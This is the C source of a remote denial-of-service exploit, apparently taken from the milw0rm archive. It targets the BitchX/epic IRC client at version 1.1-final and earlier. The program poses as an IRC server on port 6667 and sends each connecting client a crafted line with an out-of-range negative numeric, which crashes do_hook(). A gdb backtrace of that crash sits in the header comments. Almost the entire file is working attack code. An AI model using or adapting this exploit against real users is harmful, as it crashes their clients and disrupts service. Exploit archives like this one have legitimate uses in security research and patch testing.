90 lines
No EOL
2.3 KiB
C
90 lines
No EOL
2.3 KiB
C
// BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS
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/////////////////////////////////////////////////////////////////////////
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// Federico L. Bossi Bonin
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// fbossi<at>netcomm<dot>com<dot>ar
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// #0 0x080a3fcc in BX_do_hook (which=9999999, format=0x8119077 "%s %s") at hook.c:865
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// #1 0x080d013b in numbered_command (from=0xbfbfe031 'A' <repeats 200 times>,
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// comm=-9999999, ArgList=0xbfbfd788) at numbers.c:1413
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// #2 0x080d7d02 in parse_server (orig_line=0xbfbfe030 ":", 'A' <repeats 199 times>...) at parse.c:1912
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// #3 0x080de3c2 in do_server (rd=0xbfbfe8a0, wr=0xbfbfe880) at server.c:584
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// #4 0x080b030f in BX_io (what=0x810b85a "main") at irc.c:1319
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// #5 0x080b09da in main (argc=6, argv=0xbfbfe9d4, envp=0xbfbfe9f0) at irc.c:1687
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// #6 0x0804aec2 in ___start ()
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//greats to nitr0us, beck, gruba, samelat, ran, etc..
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#include <stdio.h>
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#include <sys/types.h>
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#include <sys/socket.h>
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#include <netinet/in.h>
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#define PORT 6667
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#define LEN 100
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int intalign=-999; //use negative number
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void sendbuff(int sock) {
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char ptr[LEN];
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char buffer[2048];
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bzero(ptr,LEN);
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bzero(buffer,2048);
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memset(ptr,0x41,sizeof(ptr)-1);
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sprintf(buffer,":%s %i %s %s\n",ptr,intalign,ptr,ptr);
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write(sock,buffer,sizeof(buffer));
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}
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int main() {
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struct sockaddr_in srv_addr, client;
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int len,pid,sockfd,sock;
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sockfd = socket(AF_INET, SOCK_STREAM, 0);
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if (sockfd < 0) {
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perror("error socket()");
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exit(1);
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}
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bzero((char *) &srv_addr, sizeof(srv_addr));
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srv_addr.sin_family = AF_INET;
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srv_addr.sin_addr.s_addr = INADDR_ANY;
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srv_addr.sin_port = htons(PORT);
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if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) {
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perror("error bind()");
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exit(1);
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}
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printf("BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS\n");
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printf("====================================================================\n");
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printf("Listening on port %i\n",PORT);
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listen(sockfd,5);
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len = sizeof(client);
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while (1) {
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sock = accept(sockfd, (struct sockaddr *) &client, &len);
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if (sock < 0) {
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perror("error accept()");
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exit(1);
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}
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pid = fork();
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if (pid < 0) {
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perror("fork()");
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exit(1);
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}
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if (pid == 0) {
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close(sockfd);
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printf("Conection from %s\n",inet_ntoa(client.sin_addr));
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sendbuff(sock);
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exit(0);
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}
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else close(sock);
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}
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return 0;
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}
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// milw0rm.com [2006-06-24]
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